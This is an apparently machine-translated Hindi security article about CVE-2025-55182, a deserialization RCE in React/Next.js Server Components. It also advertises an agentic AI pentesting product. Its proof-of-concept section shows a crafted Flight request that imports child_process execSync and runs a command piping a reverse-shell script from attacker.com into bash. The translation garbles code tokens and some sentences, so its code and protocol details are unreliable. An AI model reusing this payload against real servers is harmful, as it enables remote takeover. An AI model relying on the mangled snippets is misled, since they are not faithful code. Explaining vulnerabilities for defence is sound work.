परिचय: क्लाइंट-सर्वर सीमा का पतन
2025 के अंत में वेब सुरक्षा में एक बड़ा बदलाव आया। सुरक्षा आर्किटेक्ट्स और पेनेट्रेशन टेस्टर्स के लिए, सीवीई-2025-55182 (और इसका Next.js संस्करण सीवीई-2025-66478) हाल के इतिहास में सबसे परिष्कृत आक्रमणकारी तरीकों में से एक है।
यह कोई साधारण सैनिटाइज़ेशन त्रुटि नहीं है। यह "सर्वर-साइड रेंडरिंग (RSC)" तर्क में एक बुनियादी खामी है। यह अनधिकृत हमलावरों को इसका फ़ायदा उठाने का मौका देता है। React/Next.js सर्वर घटकों की दूरस्थ कोड निष्पादन भेद्यता फ्रेमवर्क द्वारा उपयोग किए जाने वाले स्वामित्व संचार प्रोटोकॉल में हेरफेर करके, सर्वर पर मनमाना कोड निष्पादित करने के लिए पारंपरिक सुरक्षा को दरकिनार कर दिया जाता है।
यह लेख विपणन संबंधी अनावश्यक बातों को हटाकर, विशिष्ट सुरक्षा इंजीनियरों के लिए भेद्यता का द्विआधारी-स्तरीय विश्लेषण प्रस्तुत करता है।
मुख्य तंत्र: "उड़ान" प्रोटोकॉल का पुनर्निर्माण
CVE-2025-55182 का लाभ उठाने के लिए, आपको यह समझना होगा कि React 19 और Next.js 14+ कैसे संवाद करते हैं। पारंपरिक REST/GraphQL के विपरीत, RSC एक स्ट्रीमिंग टेक्स्ट फ़ॉर्मेट का उपयोग करता है जिसे “उड़ान” प्रोटोकॉल.
उड़ान पेलोड संरचना
जब आप किसी आधुनिक Next.js ऐप पर नेटवर्क ट्रैफ़िक का निरीक्षण करते हैं, तो आरएससी पेलोड यह गूढ़ लगता है, लेकिन सख्त वाक्यविन्यास का पालन करता है:
जावास्क्रिप्ट
// विशिष्ट उड़ान प्रोटोकॉल खंड 1:I["./src/components/ClientComponent.js",["chunks/main.js"],"default"] 2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}
1:मैं: दर्शाता है आयातयह क्लाइंट/सर्वर को एक विशिष्ट मॉड्यूल लोड करने के लिए कहता है।$: दर्शाता है संदर्भ.$1पंक्ति 1 में परिभाषित मॉड्यूल को संदर्भित करता है।1टीपी4टीएस: विशेष प्रतिक्रिया प्रतीकों को दर्शाता है.
मूल कारण: अंधा डिसेरिएलाइज़ेशन
का दिल सीवीई-2025-55182 आने वाले क्लाइंट-टू-सर्वर संदेशों (सर्वर क्रियाओं) को सर्वर द्वारा संभालने में निहित है। रिएक्ट सर्वर DOM कार्यान्वयन आने वाली फ्लाइट स्ट्रीम पर अप्रत्यक्ष रूप से भरोसा करता है।
जब कोई क्लाइंट सर्वर क्रिया को ट्रिगर करता है, तो वह तर्कों को फ़्लाइट फ़ॉर्मेट में क्रमबद्ध करता है। सर्वर इसे प्राप्त करता है और आंतरिक विधियों (जैसे रिज़ॉल्वसर्वररेफरेंस) को deserialize धारा.
घातक दोष:
डिसेरिएलाइज़र यह सत्यापित करने में विफल रहता है कि I (आयात) निर्देश में मॉड्यूल पथ श्वेतसूचीबद्ध है या नहीं। इससे हमलावर ./src/button.js जैसे किसी सौम्य पथ को किसी आंतरिक Node.js कोर मॉड्यूल (जैसे, child_process) या node_modules में मौजूद किसी अन्य लाइब्रेरी में बदल सकता है।
भेद्यता पुनरुत्पादन और विश्लेषण (वैचारिक PoC)
अस्वीकरण: यह खंड केवल शैक्षिक अनुसंधान और रक्षात्मक उद्देश्यों के लिए है।
एक परिष्कृत आक्रमण श्रृंखला इस प्रकार आगे बढ़ती है:
चरण 1: टोही
हमलावर RSC समापन बिंदुओं की पहचान करता है, अक्सर अनुरोधों का अवलोकन करता है /_next/static/chunks/app/page.js या विश्लेषण करना अगला कदम POST अनुरोधों में हेडर.
चरण 2: पेलोड को हथियार बनाना
हमलावर एक कस्टम फ़्लाइट स्ट्रीम तैयार करता है। वैध UI प्रॉप्स के बजाय, वे एक गैजेट चेन.
पेलोड लॉजिक:
| मानक अनुरोध | दुर्भावनापूर्ण अनुरोध (RCE पेलोड) |
|---|---|
संदर्भ: 1:I["./component.js"] | संदर्भ: 1:I["node:child_process"] |
क्रिया: रेंडर UI | क्रिया: निर्यातित फ़ंक्शन निष्पादित करें |
एचटीटीपी
`POST /v1/action HTTP/1.1 सामग्री-प्रकार: text/x-component अगली-क्रिया:
// इंजेक्शन का छद्मकोड प्रतिनिधित्व 1:I[“node:child_process”, [], “execSync”] 2:{“command”: “curl http://attacker.com/revshell | bash”, “args”: “$1”}`
चरण 3: निष्पादन
- सर्वर डिसेरिएलाइज़ करता है
मैं["नोड:चाइल्ड_प्रोसेस"]. - यह निष्पादित करता है
आवश्यकता("child_process")सर्वर संदर्भ में. - यह आह्वान करता है
execSyncहमलावर के तर्कों के साथ. - आर.सी.ई. प्राप्त.
पारंपरिक सुरक्षा उपकरण (WAF/DAST) क्यों विफल होते हैं?
किसी भी अनुभवी सुरक्षा इंजीनियर के लिए इसका पता लगाना एक दुःस्वप्न जैसा है।
- प्रोटोकॉल अस्पष्टता: WAFs फ़्लाइट पेलोड को असंरचित टेक्स्ट के रूप में देखते हैं। मानक SQLi या XSS रेगुलर एक्सप्रेशन नियम, जैसे मॉड्यूल आयात स्ट्रिंग पर ट्रिगर नहीं होंगे।
1:मैं. - डिफ़ॉल्ट एक्सपोज़र: भले ही कोई डेवलपर Next.js का उपयोग केवल स्थैतिक निर्माण के लिए करता हो, RSC लाइब्रेरी का समावेश अक्सर डिफ़ॉल्ट रूप से कमजोर डिसेरिएलाइज़ेशन एंडपॉइंट्स को उजागर कर देता है।
यह एक पाठ्यपुस्तक उदाहरण है आपूर्ति श्रृंखला भेद्यता- दोष ढांचे में है, आपके व्यावसायिक तर्क में नहीं।
उन्नत रक्षा और एजेंटिक एआई की भूमिका
तत्काल उपचार
पैचिंग अनिवार्य है। "सैनिटाइज़ेशन" मिडलवेयर पर निर्भर न रहें, क्योंकि प्रोटोकॉल इतना जटिल है कि उसे रेगुलर एक्सप्रेशन (regex) से विश्वसनीय रूप से पार्स नहीं किया जा सकता।
- प्रतिक्रिया: इस अपडेट करें 19.2.1.
- नेक्स्ट.जेएस: इस अपडेट करें 14.2.21, 15.1.2, या नवीनतम कैनरी बिल्ड।
पेन-टेस्टिंग का भविष्य: एजेंटिक एआई
जैसी कमजोरियों का सामना करना सीवीई-2025-55182 मालिकाना प्रोटोकॉल लॉजिक का फायदा उठाने वाले पारंपरिक स्कैनर पुराने पड़ चुके हैं। वे फ़्लाइट को "समझ" नहीं सकते, न ही वे तार्किक रूप से मान्य लेकिन दुर्भावनापूर्ण स्ट्रीम बना सकते हैं।
यहीं पर पेनलिजेंट.ai रक्षा की एक नई श्रेणी बनाता है। एक ऐसे प्लेटफ़ॉर्म के रूप में जो एजेंटिक एआईपेनलिजेंट ऐसी क्षमताएं प्रदान करता है, जिन्हें प्राप्त करने में मानव टीम को संघर्ष करना पड़ता है:
- प्रोटोकॉल अर्थगत समझपेनलिजेंट के एआई एजेंट रिएक्ट फ़्लाइट विनिर्देश का गतिशील रूप से विश्लेषण करते हैं। वे मॉड्यूल संदर्भों बनाम डेटा प्रॉप्स के सिंटैक्स को समझते हैं।
- अनुकूली तर्क फ़ज़िंग: एजेंट हजारों उत्परिवर्तित पेलोड उत्पन्न करते हैं, विशेष रूप से अनधिकृत मॉड्यूल एक्सेस पैटर्न को खोजने के लिए डिसेरिएलाइजर की सीमा स्थितियों की जांच करते हैं।
- स्वचालित सत्यापनपेनलिजेंट किसी "संभावित समस्या" को चिह्नित करने से कहीं आगे जाता है। यह सुरक्षित, गैर-विनाशकारी प्रूफ-ऑफ-कॉन्सेप्ट श्रृंखलाओं के निर्माण का प्रयास करता है ताकि यह सत्यापित किया जा सके कि क्या आरसीई वास्तव में संभव है, और इस तरह झूठी सकारात्मकता को समाप्त किया जा सके।
महत्वपूर्ण बुनियादी ढांचे की सुरक्षा, तैनाती करने वाले उद्यमों के लिए पेनलिजेंट.ai निरंतर, बुद्धिमान रेड-टीमिंग क्षमताएं प्रदान करता है जो हमलावरों की तुलना में तेजी से विकसित होती हैं।
निष्कर्ष
सीवीई-2025-55182 यह एक बग से कहीं ज़्यादा है; यह आधुनिक वेब डेवलपमेंट में क्लाइंट और सर्वर के बीच धुंधली होती रेखाओं का नतीजा है। जैसे-जैसे हम RSC के ज़रिए बेहतर प्रदर्शन की ओर बढ़ते हैं, हमले की सतह डेटा सीरियलाइज़ेशन लेयर तक फैल जाती है।
सुरक्षा इंजीनियरों के लिए, फ़्लाइट प्रोटोकॉल में महारत हासिल करना अब ज़रूरी है। अपनी निर्भरताओं का ऑडिट करें, तुरंत पैच करें, और आगे बने रहने के लिए AI-संचालित सुरक्षा सत्यापन पर विचार करें।
प्राधिकरण संदर्भ:
